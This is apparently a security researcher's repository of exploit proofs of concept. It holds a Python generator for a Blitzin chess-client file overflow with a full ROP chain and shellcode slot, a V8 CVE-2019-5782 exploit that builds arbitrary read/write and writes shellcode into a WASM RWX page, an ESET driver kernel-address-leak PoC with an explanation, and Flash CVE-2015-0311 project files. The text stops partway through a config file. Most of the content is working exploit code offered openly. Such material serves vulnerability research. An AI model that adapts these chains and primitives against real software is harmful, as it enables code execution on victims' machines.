├── Blitzin_ICC_Connection_File_BOF
    ├── Blitzin_ICC_Connection_File_Buffer_Overflow.py
    └── README.md
├── CVE_2019_5782
    └── CVE_2019_5782.js
├── ESET_SmartSecurity_Kernel_Leak
    ├── LeakDriverKernelAddress.cpp
    └── README.md
├── Exploit_2015_0311
    ├── Exploit_2015_0311.as3proj
    ├── bin
    │   ├── Exploit20150311.swf
    │   ├── expressInstall.swf
    │   ├── index.html
    │   ├── js
    │   │   ├── httpcookies.js
    │   │   └── swfobject.js
    │   └── poc_2015_0311.html
    ├── obj
    │   ├── Exploit_2015_0311Config.old
    │   ├── Exploit_2015_0311Config.xml
    │   └── Exploit_2015_0311Config.xml.old
    └── src
    │   └── Main.as
├── Intel_Hardware_Accelerated_Execution_Manager_OOB_ReadWrite
    ├── PoC.c
    └── README.md
├── LICENSE
├── README.md
├── TestingFltCommunicationPort
    └── TestFltCommunicationPort.c
├── TrendMicro_Security_Kernel_Driver_Null_Pointer_Dereference_Vulnerability
    ├── DebugInformation.txt
    ├── README.md
    ├── bsod.PNG
    └── tmicro1.cpp
├── VMware_SVGA_Driver_Hang
    ├── README.md
    ├── controlled_ObReferenecObjectByHandle.png
    ├── event_references.png
    └── vm3dmp_escape_hang.cpp
├── WebGate_Control_Center_FileConverter_Heap_Overflow_RCE
    ├── README.md
    ├── WebGate_Control_Center_FileConverter_GetRecFileInfo_Stack_and_Heap_Overflow_Remote_Code_Execution_Exploit.html
    └── unescapeShellcodeEncoder.py
└── simple_trace.py


/Blitzin_ICC_Connection_File_BOF/Blitzin_ICC_Connection_File_Buffer_Overflow.py:
--------------------------------------------------------------------------------
 1 | import struct
 2 | 
 3 | def create_payload(shellcode):
 4 | 
 5 |     buff = "\x41\x41\x41\x41"
 6 |     buff += struct.pack("<L", 0x100205fd) # ADD ESP,10C # RETN   ** [libxml2-2.dll]
 7 | 
 8 |     buff += "\x41" * 176
 9 | 
10 |     buff += "\x42\x42\x42\x42" # NSEH
11 |     buff += struct.pack("<L", 0x68e0440e) # SEH -> MOV ESI, DWORD PTR SS:[EBP+C] # MOV DWORD PTR SS:[ESP],ESI # CALL DWORD PTR DS:[ESI+8]
12 |     buff += struct.pack("<L", 0x68f4433b) # ESP = ESI -> PUSH ESI # POP ESP # JMP libexpat.68F4422F # MOV EDX,EDI # ADD ESP,2C # MOV EAX,EDX # POP EBX # POP ESI # POP EDI # POP EBP # RETN
13 | 
14 |     buff += "\xff\xff\xff\xff"
15 |     buff += "\xff\xff\xff\xff"
16 |     buff += "\xff\xff\xff\xff"
17 |     buff += "\xff\xff\xff\xff"
18 |     buff += "\xff\xff\xff\xff"
19 |     buff += "\xff\xff\xff\xff"
20 |     buff += "\xff\xff\xff\xff"
21 |     buff += "\xff\xff\xff\xff"
22 | 
23 |     buff += struct.pack("<L", 0x68E30861) #EBX
24 |     buff += "\xEE\xEE\xEE\xEE" #ESI
25 |     buff += struct.pack("<L", 0x68e31861) # EDI -> RETN
26 | 
27 |     buff += "\xff\xff\xff\xff"
28 | 
29 |     buff += struct.pack("<L", 0x1007d7d4) # MOV EAX,DWORD PTR SS:[ESP+18] # POP EDI # POP EBX # RETN    ** [libxml2-2.dll]
30 |     buff += struct.pack("<L", 0x68e31861) # EDI
31 |     buff += struct.pack("<L", 0x68E30861) # EBX
32 |     buff += struct.pack("<L", 0x68f414da) # PUSH EAX # POP ESP # POP EBP # RETN    ** [libexpat-1.dll]
33 | 
34 |     buff += struct.pack("<L", 0x90909090) # THIS IS FILLER
35 | 
36 |     # RETN SLED
37 |     buff += struct.pack("<L", 0x685D1825) * 10 # RETN
38 | 
39 |     ROP = [
40 |             0x685e6e0a, # POP EDX # RETN  ** [libglib-2.0.0-0.dll]
41 |             0x90909090, # This value is going to end up in EAX
42 |             0x10069ae1, # POP EBP # RETN    ** [libxml2-2.dll]
43 |             0x68e460f7, # EBP = & PUSH ESP # RETN  ** [libcairo-2.dll]
44 |             0x6860e37d, # POP EAX # RETN  ** [libglib-2.0.0-0.dll]
45 |             0x686b953c, # IAT &VirtualProtect() ** [libglib-2.0.0-0.dll]
46 |             0x68dce64a, # XCHG [EAX],EAX # ADD CL,CL # RETN  **  [libcairo-2.dll]
47 |             0x68eadeaa, # XCHG ESI,EAX # ADD AL,83 # RETN  ** [libcairo-2.dll]
48 |             0x68e3185d, # XOR EBX,EDI # DEC ECX # RETN  ** [libcairo-2.dll] EBX = 0x1000
49 |             0x68eaef78, # XOR EAX,EAX # RETN  ** [libcairo-2.dll]
50 |             0x6860e37d, # POP EAX # RETN  ** [libglib-2.0.0-0.dll]
51 |             0x89FFFB9D, # to xor with next one
52 |             0x68e0fbeb, # XOR EAX,89FFFBDD # RETN  ** [libcairo-2.dll]
53 |             0x68E5d8e2, # XCHG EAX,EDX # RETN  ** [libcairo-2.dll]
54 |             0x68dec59b, # POP ECX # OR CL,CL # RETN  ** [libcairo-2.dll]
55 |             0x68EC4001, # BSS RW section libcairo-2.dll
56 |             0x68e802d9  # PUSHAD # RETN  ** [libcairo-2.dll]
57 |          ]
58 | 
59 |     buff += ''.join(struct.pack('<L', _) for _ in ROP)
60 | 
61 |     buff += "\x90\x90\x90\x90" * 4
62 |     buff += shellcode
63 | 
64 |     buff += "\xCC" * (2000 - len(buff))
65 |     return buff
66 | 
67 | with open(r"connection.bz2","wb") as f:
68 |     payload = create_payload("n3kn3kn3k")
69 |     f.write(payload)
70 | 
71 | 


--------------------------------------------------------------------------------
/Blitzin_ICC_Connection_File_BOF/README.md:
--------------------------------------------------------------------------------
 1 | # Blitzin 3.10 Fileformat Connection Exploit
 2 | 
 3 | * Blitzin is a Chess client to Internet Chess Club (ICC)
 4 | 
 5 | The parser of the connection fileformat is prone to a stack buffer overflow
 6 | 
 7 | https://www.chessclub.com/download-software/blitzin/
 8 | 
 9 | https://www.chessclub.com/bits/interface/BlitzIn310_installer.exe
10 | 
11 | 


--------------------------------------------------------------------------------
/CVE_2019_5782/CVE_2019_5782.js:
--------------------------------------------------------------------------------
  1 | /*
  2 | Commit: c2bec8045f7ad3ece1c5d80236183a21c1fac3f5
  3 | Branch Base Commit: 4226ddf99103e493d7afb23a4c7902ee496108b6
  4 | Branch Base Position: 599034
  5 | V8 Commit: b5a5d900a5385d6429edefb11ece72bfa649ca47
  6 | V8 Version: 7.1.302.31
  7 | V8 Position: 64
  8 | Skia Commit: 7469a9341afab19271b8ef07af5c16a0f2c4ccc1
  9 | 
 10 | 
 11 | mkdir v8 && cd v8 && fetch --nohooks v8
 12 | gclient sync --with_branch_heads  # Run anytime you change v8 version
 13 | cd v8 && ./build/install-build-deps.sh
 14 | git checkout b5a5d900a5385d6429edefb11ece72bfa649ca47
 15 | gclient sync --with_branch_heads
 16 | 
 17 | tools/dev/gm.py x64.debug
 18 | */
 19 | 
 20 | /*
 21 |  * In this function we use the length of the arguments to calculate the number 1.
 22 |  * Turbofan things arguments are limited to a smaller number, so it will optimize
 23 |  * out the bounds checks based on our number, giving us oob read/write
 24 |  */
 25 | 
 26 |  // run With
 27 | 
 28 | // ./d8 --no-untrusted-code-mitigations ./exploit.js  --shell
 29 | 
 30 | 
 31 | load("/home/ubuntu/int64.js")
 32 | var a1, hax;
 33 | var a3, a4;
 34 | function opt(arg) {
 35 |     let x = arguments.length;
 36 |     a1 = new Array(0x10);
 37 |     hax = new Array(0x10);
 38 |     hax[0] = 1.1; 
 39 |     hax[1] = 1.1;
 40 |     a3 = new Array(0x10);
 41 |     a3[0] = 1.2;
 42 |     a3[1] = 1.2;
 43 |     a4 = new Array(0x10);
 44 |     a4[0] = {};
 45 |     a4[1] = {};
 46 | 
 47 |     a1[(x >> 16) * 0x29] = 5.43230922487e-312; //0x00000100'00000000
 48 | }
 49 | 
 50 | 
 51 | let small = [1.1];
 52 | let large = [1.1,1.1];
 53 | large.length = 65536;
 54 | large.fill(1.1);
 55 | 
 56 | for (let j = 0; j< 100000; j++) {
 57 |     opt.apply(null, small);
 58 | }
 59 | 
 60 | opt.apply(null, large);
 61 | 
 62 | var map_dbl = hax[0x10]; // map from a3
 63 | var map_obj = hax[60]; // map from a4
 64 | 
 65 | function addrof(obj) {
 66 |     a4[0] = obj;
 67 |     hax[60] = map_dbl;
 68 |     r = Int64.from_double(a4[0]);
 69 |     hax[60] = map_obj;
 70 |     return r;
 71 | }
 72 | 
 73 | function fakeobj(addr) {
 74 |     hax[60] = map_dbl;
 75 |     a4[0] = addr.to_double();
 76 |     hax[60] = map_obj;
 77 |     return a4[0];
 78 | }
 79 | 
 80 | target_array_buffer = new ArrayBuffer(0x200);
 81 | 
 82 | /*
 83 | ArrayBuffer MAP values:
 84 | 0x2baa08984460:	0x00000bd8f2d02251	0x1900042313080808
 85 | 0x2baa08984470:	0x00000000082003ff	0x0000187c8e0114f9
 86 | 0x2baa08984480:	0x0000187c8e011359	0x0000000000000000
 87 | 0x2baa08984490:	0x00000bd8f2d02321	0x0000000000000000
 88 | 0x2baa089844a0:	0x00000bd8f2d02391	0x000027ba6a102201
 89 | */
 90 | 
 91 | let fake_map = {
 92 | 	a: 0x3132, // Map root
 93 | 	b: new Int64('0x1900042313080808').to_double(), // flags
 94 | 	c: new Int64('0x00000000082003ff').to_double(), // flags 2
 95 | 	d: 0x4142, // prototype
 96 | 	e: 0x5152, // constructor_or_backpointer 
 97 | 	f: 0x6162, // raw_transitions 
 98 | 	g: 0,      // instance_descriptors
 99 | 	h: 0x8182, // layout_descriptors
100 | 	i: 0x9192, // dependent_code
101 | };
102 | 
103 | let array_buffer_map = addrof(fake_map).add(0x18);
104 | 
105 | let holder = {
106 |    map: array_buffer_map.to_double(),
107 |    properties: 0,
108 |    elements: 0, // requires valid elements ptr
109 |    bytes_length: (new Int64(0x100)).to_double(),
110 |    backing_store: addrof(target_array_buffer).sub(1).to_double(),
111 |    bitfield: (new Int64(2)).to_double(),
112 |    embedder_field: (new Int64(0).to_double())
113 | }
114 | 
115 | let addr = addrof(holder).add(0x18);
116 | let fake_array_buffer = fakeobj(addr);
117 | // The buffer is accessed through a view!
118 | fake_view = new Float64Array(fake_array_buffer);
119 | 
120 | function read64(addr) {
121 |     dbl = addr.to_double();
122 |     fake_view[4] = dbl;
123 |     accessor = new Float64Array(target_array_buffer);
124 |     return Int64.from_double(accessor[0]);
125 | }
126 | 
127 | function write64(addr, value) {
128 |     dbl = addr.to_double();
129 |     fake_view[4] = dbl;
130 |     accessor = new Float64Array(target_array_buffer);
131 |     accessor[0] = value.to_double();
132 | }
133 | 
134 | function cleanup() {
135 |     print("Cleanup")
136 |     delete a3;
137 |     delete a4;
138 |     delete a1;
139 |     delete hax;
140 | }
141 | 
142 | function wasm_jit_method() {
143 |     // Generate WASM JIT RWX Page
144 |     var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
145 |     var wasm_mod = new WebAssembly.Module(wasm_code);
146 |     var wasm_instance = new WebAssembly.Instance(wasm_mod);
147 |     var f = wasm_instance.exports.main;
148 | 
149 |     // GET FunctionAddress
150 |     var rwx_page_addr = read64(addrof(wasm_instance).sub(1).add(0xf0));
151 |     console.log("WASM Page: " + rwx_page_addr);
152 | 
153 |     var shellcode=[0xCCCCCCCC,0x90909090];
154 | 
155 |     // Copy Shellcode to address
156 |     dbl = rwx_page_addr.to_double();
157 |     fake_view[4] = dbl;
158 |     accessor = new Uint32Array(target_array_buffer);
159 |     for (let i = 0; i < shellcode.length; i++) {
160 |         accessor[i] = shellcode[i];
161 |     }
162 | 
163 |     cleanup();
164 | 
165 |     f();
166 | }
167 | 
168 | 
169 | wasm_jit_method();
170 | 
171 | /*
172 | LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
173 | ────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────
174 |  RAX  0x1cedc8740000 ◂— int3    // 0x90909090cccccccc 
175 |  RBX  0x1cedc8740000 ◂— int3    // 0x90909090cccccccc 
176 |  RCX  0x2f03b1b42620 ◂— push   rbp
177 |  RDX  0x17693b1025a1 ◂— 0x17693b1025
178 |  RDI  0x2092ba72ade1 ◂— 0xf100002efdcda063
179 |  RSI  0x2092ba72ac29 ◂— 0xf100002efdcda0b1
180 |  R8   0x55555675a970 —▸ 0x2092ba71da51 ◂— 0x6100002efdcda0a0
181 |  R9   0x13a
182 |  R10  0x5555566e5199 ◂— 0x100000000
183 |  R11  0x5c
184 |  R12  0xffffffffffffffff
185 |  R13  0x5555566e9728 —▸ 0x17693b1029c1 ◂— 0x17693b1022
186 |  R14  0x2092ba72a689 ◂— 0x17693b1034
187 |  R15  0x55555672b170 —▸ 0x5555564992e0 (Builtins_WideHandler) ◂— lea    rbx, [rip - 7]
188 |  RBP  0x7fffffffd968 —▸ 0x7fffffffda00 —▸ 0x7fffffffda90 —▸ 0x7fffffffdab8 —▸ 0x7fffffffdb20 ◂— ...
189 |  RSP  0x7fffffffd950 —▸ 0x2f03b1b42654 ◂— mov    rbx, qword ptr [rip - 0x27]
190 |  RIP  0x1cedc8740001 ◂— int3    // 0x90909090cccccc 
191 | */


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/ESET_SmartSecurity_Kernel_Leak/LeakDriverKernelAddress.cpp:
--------------------------------------------------------------------------------
 1 | #include "stdafx.h"
 2 | #include <Windows.h>
 3 | 
 4 | 
 5 | 
 6 | void _exit(char *message, int status)
 7 | {
 8 | 	printf("+] %s\n", message);
 9 | 	exit(status);
10 | }
11 | 
12 | void LeakCallIoControlDispatchRoutineAddress(HANDLE hDevice)
13 | {
14 | 	/* This IOControl takes the address of a function that ends up calling
15 | 	the DispatchIOControl routine of the Epfw driver */	
16 | 	DWORD bytesReturned;
17 | 	PVOID outbuff = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x4);
18 | 	DeviceIoControl(hDevice, 0x8897226B, NULL, 0, outbuff, 0x4, &bytesReturned, NULL);
19 | 	printf("OutputBuffer: %08x\n", *(PVOID *)outbuff);
20 | 	HeapFree(GetProcessHeap(), 0, outbuff);
21 | }
22 | 
23 | #define EPWF "\\\\.\\Epfw\\"      
24 | 
25 | 
26 | int main()
27 | {
28 | 	HANDLE hDevice;	
29 | 	//__debugbreak();
30 | 	hDevice = CreateFileA(EPWF, GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
31 | 	if ((int)hDevice == -1 || !hDevice)
32 | 	{
33 | 		_exit("Device could not be opened", -1);
34 | 	}
35 | 
36 | 	printf("Hey we opened the device! :) --> %08x \n", hDevice);
37 | 	
38 | 	LeakCallIoControlDispatchRoutineAddress(hDevice);
39 | 
40 | 	printf("Error: %08x\n ", GetLastError());
41 | 	
42 | 	CloseHandle(hDevice);
43 | 	__asm 
44 | 	{
45 | 		xor eax, eax;
46 | 	}
47 | }
48 | 
49 | 


--------------------------------------------------------------------------------
/ESET_SmartSecurity_Kernel_Leak/README.md:
--------------------------------------------------------------------------------
1 | # ESET Smart Security Kernel Address Leak
2 | 
3 | * Affected Driver: epfw.sys 9.0.212.0 (ESET Personal Firewall Driver)
4 | 
5 | The issue exists on epwf.sys driver where you can basically interact whith the device created by this driver despite of the fact that the ACL restricts regular users from opening it. This happens because the call to IoCreateDevice doesn't set the FILE_DEVICE_SECURE_OPEN flag as part of the DeviceCharacteristics member. So a regular user can still open the device and bypass the ACL by calling CreateFile with the name of the device and any appended resource; ie. : CreateDeviceA("\\\\.\\epfw\\foo,...);
6 | 
7 | The driver IOCL dispatch routine has a function triggered on IOCTL code 0x8897226B that writes an internal kernel address of the driver itself to the outputbuffer. This allows a regular user to instantly know the base kernel address of the loaded driver.


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/Exploit_2015_0311/Exploit_2015_0311.as3proj:
--------------------------------------------------------------------------------
 1 | <?xml version="1.0" encoding="utf-8"?>
 2 | <project version="2">
 3 |   <!-- Output SWF options -->
 4 |   <output>
 5 |     <movie outputType="Application" />
 6 |     <movie input="" />
 7 |     <movie path="bin\Exploit20150311.swf" />
 8 |     <movie fps="30" />
 9 |     <movie width="800" />
10 |     <movie height="600" />
11 |     <movie version="25" />
12 |     <movie minorVersion="0" />
13 |     <movie platform="Flash Player" />
14 |     <movie background="#FFFFFF" />
15 |     <movie preferredSDK="C:\FlexSDK\AIRSDK_3.6" />
16 |   </output>
17 |   <!-- Other classes to be compiled into your SWF -->
18 |   <classpaths>
19 |     <class path="src" />
20 |   </classpaths>
21 |   <!-- Build options -->
22 |   <build>
23 |     <option accessible="False" />
24 |     <option advancedTelemetry="False" />
25 |     <option allowSourcePathOverlap="False" />
26 |     <option benchmark="False" />
27 |     <option es="False" />
28 |     <option inline="False" />
29 |     <option locale="" />
30 |     <option loadConfig="" />
31 |     <option optimize="True" />
32 |     <option omitTraces="True" />
33 |     <option showActionScriptWarnings="True" />
34 |     <option showBindingWarnings="True" />
35 |     <option showInvalidCSS="True" />
36 |     <option showDeprecationWarnings="True" />
37 |     <option showUnusedTypeSelectorWarnings="True" />
38 |     <option strict="True" />
39 |     <option useNetwork="True" />
40 |     <option useResourceBundleMetadata="True" />
41 |     <option warnings="True" />
42 |     <option verboseStackTraces="False" />
43 |     <option linkReport="" />
44 |     <option loadExterns="" />
45 |     <option staticLinkRSL="True" />
46 |     <option additional="" />
47 |     <option compilerConstants="" />
48 |     <option minorVersion="" />
49 |   </build>
50 |   <!-- SWC Include Libraries -->
51 |   <includeLibraries>
52 |     <!-- example: <element path="..." /> -->
53 |   </includeLibraries>
54 |   <!-- SWC Libraries -->
55 |   <libraryPaths>
56 |     <!-- example: <element path="..." /> -->
57 |   </libraryPaths>
58 |   <!-- External Libraries -->
59 |   <externalLibraryPaths>
60 |     <!-- example: <element path="..." /> -->
61 |   </externalLibraryPaths>
62 |   <!-- Runtime Shared Libraries -->
63 |   <rslPaths>
64 |     <!-- example: <element path="..." /> -->
65 |   </rslPaths>
66 |   <!-- Intrinsic Libraries -->
67 |   <intrinsics>
68 |     <!-- example: <element path="..." /> -->
69 |   </intrinsics>
70 |   <!-- Assets to embed into the output SWF -->
71 |   <library>
72 |     <!-- example: <asset path="..." id="..." update="..." glyphs="..." mode="..." place="..." sharepoint="..." /> -->
73 |   </library>
74 |   <!-- Class files to compile (other referenced classes will automatically be included) -->
75 |   <compileTargets>
76 |     <compile path="src\Main.as" />
77 |   </compileTargets>
78 |   <!-- Paths to exclude from the Project Explorer tree -->
79 |   <hiddenPaths>
80 |     <hidden path="obj" />
81 |   </hiddenPaths>
82 |   <!-- Executed before build -->
83 |   <preBuildCommand />
84 |   <!-- Executed after build -->
85 |   <postBuildCommand alwaysRun="False" />
86 |   <!-- Other project options -->
87 |   <options>
88 |     <option showHiddenPaths="False" />
89 |     <option testMovie="Default" />
90 |     <option testMovieCommand="" />
91 |   </options>
92 |   <!-- Plugin storage -->
93 |   <storage />
94 | </project>


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/Exploit_2015_0311/bin/Exploit20150311.swf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/n3k/misc_exploits_pocs/05d5cedfd832d083b8f043ef711a4067b7f7e02a/Exploit_2015_0311/bin/Exploit20150311.swf


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/Exploit_2015_0311/bin/expressInstall.swf:
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https://raw.githubusercontent.com/n3k/misc_exploits_pocs/05d5cedfd832d083b8f043ef711a4067b7f7e02a/Exploit_2015_0311/bin/expressInstall.swf


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/Exploit_2015_0311/bin/index.html:
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 1 | <!DOCTYPE html>
 2 | <html lang="en">
 3 | <head>
 4 | 	<meta charset="utf-8"/>
 5 | 	<title>Exploit_2015_0311</title>
 6 | 	<meta name="description" content="" />
 7 | 	
 8 | 	<script src="js/swfobject.js"></script>
 9 | 	<script>
10 | 		var flashvars = {
11 | 		};
12 | 		var params = {
13 | 			menu: "false",
14 | 			scale: "noScale",
15 | 			allowFullscreen: "true",
16 | 			allowScriptAccess: "always",
17 | 			bgcolor: "",
18 | 			wmode: "direct" // can cause issues with FP settings & webcam
19 | 		};
20 | 		var attributes = {
21 | 			id:"Exploit20150311"
22 | 		};
23 | 		swfobject.embedSWF(
24 | 			"Exploit20150311.swf", 
25 | 			"altContent", "100%", "100%", "10.0.0", 
26 | 			"expressInstall.swf", 
27 | 			flashvars, params, attributes);
28 | 	</script>
29 | 	<style>
30 | 		html, body { height:100%; overflow:hidden; }
31 | 		body { margin:0; }
32 | 	</style>
33 | </head>
34 | <body>
35 | 	<div id="altContent">
36 | 		<h1>Exploit_2015_0311</h1>
37 | 		<p><a href="http://www.adobe.com/go/getflashplayer">Get Adobe Flash player</a></p>
38 | 	</div>
39 | </body>
40 | </html>


--------------------------------------------------------------------------------
/Exploit_2015_0311/bin/js/httpcookies.js:
--------------------------------------------------------------------------------
 1 | function getCookie(key)
 2 | {
 3 |     var cookieValue = null;
 4 | 
 5 |     if (key)
 6 |     {
 7 |         var cookieSearch = key + "=";
 8 | 
 9 |         if (document.cookie)
10 |         {
11 |             var cookieArray = document.cookie.split(";");
12 |             for (var i = 0; i < cookieArray.length; i++)
13 |             {
14 |                 var cookieString = cookieArray[i];
15 | 
16 |                 // skip past leading spaces
17 |                 while (cookieString.charAt(0) == ' ')
18 |                 {
19 |                     cookieString = cookieString.substr(1);
20 |                 }
21 | 
22 |                 // extract the actual value
23 |                 if (cookieString.indexOf(cookieSearch) == 0)
24 |                 {
25 |                     cookieValue = cookieString.substr(cookieSearch.length);
26 |                 }
27 |             }
28 |         }
29 |     }
30 | 
31 |     return cookieValue;
32 | }
33 | 
34 | function setCookie(key, val)
35 | {
36 |     if (key)
37 |     {
38 |         var date = new Date();
39 | 
40 |         if (val != null)
41 |         {
42 |             // expires in one year
43 |             date.setTime(date.getTime() + (365*24*60*60*1000));
44 |             document.cookie = key + "=" + val + "; expires=" + date.toGMTString();
45 |         }
46 |         else
47 |         {
48 |             // expires yesterday
49 |             date.setTime(date.getTime() - (24*60*60*1000));
50 |             document.cookie = key + "=; expires=" + date.toGMTString();
51 |         }
52 |     }
53 | }


--------------------------------------------------------------------------------
/Exploit_2015_0311/bin/js/swfobject.js:
--------------------------------------------------------------------------------
1 | /*	SWFObject v2.2 <http://code.google.com/p/swfobject/> 
2 | 	is released under the MIT License <http://www.opensource.org/licenses/mit-license.php> 
3 | */
4 | var swfobject=function(){var D="undefined",r="object",S="Shockwave Flash",W="ShockwaveFlash.ShockwaveFlash",q="application/x-shockwave-flash",R="SWFObjectExprInst",x="onreadystatechange",O=window,j=document,t=navigator,T=false,U=[h],o=[],N=[],I=[],l,Q,E,B,J=false,a=false,n,G,m=true,M=function(){var aa=typeof j.getElementById!=D&&typeof j.getElementsByTagName!=D&&typeof j.createElement!=D,ah=t.userAgent.toLowerCase(),Y=t.platform.toLowerCase(),ae=Y?/win/.test(Y):/win/.test(ah),ac=Y?/mac/.test(Y):/mac/.test(ah),af=/webkit/.test(ah)?parseFloat(ah.replace(/^.*webkit\/(\d+(\.\d+)?).*$/,"$1")):false,X=!+"\v1",ag=[0,0,0],ab=null;if(typeof t.plugins!=D&&typeof t.plugins[S]==r){ab=t.plugins[S].description;if(ab&&!(typeof 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h(){if(T){V()}else{H()}}function V(){var X=j.getElementsByTagName("body")[0];var aa=C(r);aa.setAttribute("type",q);var Z=X.appendChild(aa);if(Z){var Y=0;(function(){if(typeof Z.GetVariable!=D){var ab=Z.GetVariable("$version");if(ab){ab=ab.split(" ")[1].split(",");M.pv=[parseInt(ab[0],10),parseInt(ab[1],10),parseInt(ab[2],10)]}}else{if(Y<10){Y++;setTimeout(arguments.callee,10);return}}X.removeChild(aa);Z=null;H()})()}else{H()}}function H(){var ag=o.length;if(ag>0){for(var af=0;af<ag;af++){var Y=o[af].id;var ab=o[af].callbackFn;var aa={success:false,id:Y};if(M.pv[0]>0){var ae=c(Y);if(ae){if(F(o[af].swfVersion)&&!(M.wk&&M.wk<312)){w(Y,true);if(ab){aa.success=true;aa.ref=z(Y);ab(aa)}}else{if(o[af].expressInstall&&A()){var ai={};ai.data=o[af].expressInstall;ai.width=ae.getAttribute("width")||"0";ai.height=ae.getAttribute("height")||"0";if(ae.getAttribute("class")){ai.styleclass=ae.getAttribute("class")}if(ae.getAttribute("align")){ai.align=ae.getAttribute("align")}var ah={};var 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ad=M.ie&&M.win?"ActiveX":"PlugIn",ac="MMredirectURL="+O.location.toString().replace(/&/g,"%26")+"&MMplayerType="+ad+"&MMdoctitle="+j.title;if(typeof ab.flashvars!=D){ab.flashvars+="&"+ac}else{ab.flashvars=ac}if(M.ie&&M.win&&ae.readyState!=4){var Y=C("div");X+="SWFObjectNew";Y.setAttribute("id",X);ae.parentNode.insertBefore(Y,ae);ae.style.display="none";(function(){if(ae.readyState==4){ae.parentNode.removeChild(ae)}else{setTimeout(arguments.callee,10)}})()}u(aa,ab,X)}}function p(Y){if(M.ie&&M.win&&Y.readyState!=4){var X=C("div");Y.parentNode.insertBefore(X,Y);X.parentNode.replaceChild(g(Y),X);Y.style.display="none";(function(){if(Y.readyState==4){Y.parentNode.removeChild(Y)}else{setTimeout(arguments.callee,10)}})()}else{Y.parentNode.replaceChild(g(Y),Y)}}function g(ab){var aa=C("div");if(M.win&&M.ie){aa.innerHTML=ab.innerHTML}else{var Y=ab.getElementsByTagName(r)[0];if(Y){var ad=Y.childNodes;if(ad){var X=ad.length;for(var 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aa=j.getElementsByTagName("head")[0];if(!aa){return}var X=(ad&&typeof ad=="string")?ad:"screen";if(ab){n=null;G=null}if(!n||G!=X){var Z=C("style");Z.setAttribute("type","text/css");Z.setAttribute("media",X);n=aa.appendChild(Z);if(M.ie&&M.win&&typeof j.styleSheets!=D&&j.styleSheets.length>0){n=j.styleSheets[j.styleSheets.length-1]}G=X}if(M.ie&&M.win){if(n&&typeof n.addRule==r){n.addRule(ac,Y)}}else{if(n&&typeof j.createTextNode!=D){n.appendChild(j.createTextNode(ac+" {"+Y+"}"))}}}function w(Z,X){if(!m){return}var Y=X?"visible":"hidden";if(J&&c(Z)){c(Z).style.visibility=Y}else{v("#"+Z,"visibility:"+Y)}}function L(Y){var Z=/[\\\"<>\.;]/;var X=Z.exec(Y)!=null;return X&&typeof encodeURIComponent!=D?encodeURIComponent(Y):Y}var d=function(){if(M.ie&&M.win){window.attachEvent("onunload",function(){var ac=I.length;for(var ab=0;ab<ac;ab++){I[ab][0].detachEvent(I[ab][1],I[ab][2])}var Z=N.length;for(var aa=0;aa<Z;aa++){y(N[aa])}for(var Y in M){M[Y]=null}M=null;for(var X in swfobject){swfobject[X]=null}swfobject=null})}}();return{registerObject:function(ab,X,aa,Z){if(M.w3&&ab&&X){var Y={};Y.id=ab;Y.swfVersion=X;Y.expressInstall=aa;Y.callbackFn=Z;o[o.length]=Y;w(ab,false)}else{if(Z){Z({success:false,id:ab})}}},getObjectById:function(X){if(M.w3){return z(X)}},embedSWF:function(ab,ah,ae,ag,Y,aa,Z,ad,af,ac){var X={success:false,id:ah};if(M.w3&&!(M.wk&&M.wk<312)&&ab&&ah&&ae&&ag&&Y){w(ah,false);K(function(){ae+="";ag+="";var aj={};if(af&&typeof af===r){for(var al in af){aj[al]=af[al]}}aj.data=ab;aj.width=ae;aj.height=ag;var am={};if(ad&&typeof ad===r){for(var ak in ad){am[ak]=ad[ak]}}if(Z&&typeof Z===r){for(var ai in Z){if(typeof am.flashvars!=D){am.flashvars+="&"+ai+"="+Z[ai]}else{am.flashvars=ai+"="+Z[ai]}}}if(F(Y)){var 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X=c(R);if(X&&l){X.parentNode.replaceChild(l,X);if(Q){w(Q,true);if(M.ie&&M.win){l.style.display="block"}}if(E){E(B)}}a=false}}}}();


--------------------------------------------------------------------------------
/Exploit_2015_0311/bin/poc_2015_0311.html:
--------------------------------------------------------------------------------
 1 | <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
 2 | <html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
 3 |   <head>
 4 |     <title>SWFObject dynamic embed - step 3</title>
 5 |     <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
 6 | 	<script type="text/javascript" src="js/httpcookies.js"></script>
 7 |     <script type="text/javascript" src="js/swfobject.js"></script>
 8 | 	
 9 |     <script type="text/javascript">
10 | 		var params = { allowScriptAccess: 'always', allowFullScreen: 'true' };
11 | 		var atts = { id: 'ytapiplayer' };
12 |         swfobject.embedSWF("Exploit20150311.swf", "myContent", "300", "120", "9.0.0", null, null, params, atts);
13 |     </script>
14 | 
15 |   </head>
16 |   <body>
17 |     <div id="myContent">
18 |       <p>Alternative content</p>
19 |     </div>
20 |   </body>
21 | </html>
22 | 
23 | <!-- 
24 | ByteArray::Uncompress(zlimb algorithm)
25 | 	-> ByteArray::UncompressViaZLibVariant(zlib algorithm)
26 | 		while (error == Z_OK)
27 | 		{
28 | 			stream.next_out = scratch;
29 | 			stream.avail_out = kScratchSize;
30 | 			error = inflate(&stream, Z_NO_FLUSH);
31 | 			ByteArray::Write(scratch, kScratchSize - stream.avail_out);
32 | 		}
33 | 		inflateEnd(&stream);
34 | 
35 | 		
36 | ba e 1 0x6507e8cd ".printf \"Addr: %08x \\n\", dwo(eax);"		
37 | -->


--------------------------------------------------------------------------------
/Exploit_2015_0311/obj/Exploit_2015_0311Config.old:
--------------------------------------------------------------------------------
 1 | <?xml version="1.0" encoding="utf-8"?>
 2 | <!--This Adobe Flex compiler configuration file was generated by a tool.-->
 3 | <!--Any modifications you make may be lost.-->
 4 | <flex-config>
 5 |   <target-player>25.0</target-player>
 6 |   <compiler>
 7 |     <define append="true">
